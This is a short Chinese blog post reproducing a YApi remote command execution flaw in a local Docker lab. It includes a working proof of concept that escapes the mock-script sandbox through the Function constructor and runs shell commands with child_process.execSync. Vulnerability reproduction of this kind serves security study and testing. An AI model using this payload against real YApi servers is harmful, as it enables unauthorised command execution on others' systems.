Yapi远程命令执行漏洞复现

本地docker启动环境,注册一个用户。

 

 

 新建一个项目。

 

 

 添加一个接口

 

 

 

 

 

 在此启用mock脚本,输入我们的poc

 

 

POC:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

保存之后回到预览页面,可以看到mock地址,访问该地址,发现命令已被执行。

 

 

 

 可以看到,成功执行我们poc里插入的命令。

 

 

posted @ 2021-12-20 15:26  Kn1fe  阅读(429)  评论(0编辑  收藏  举报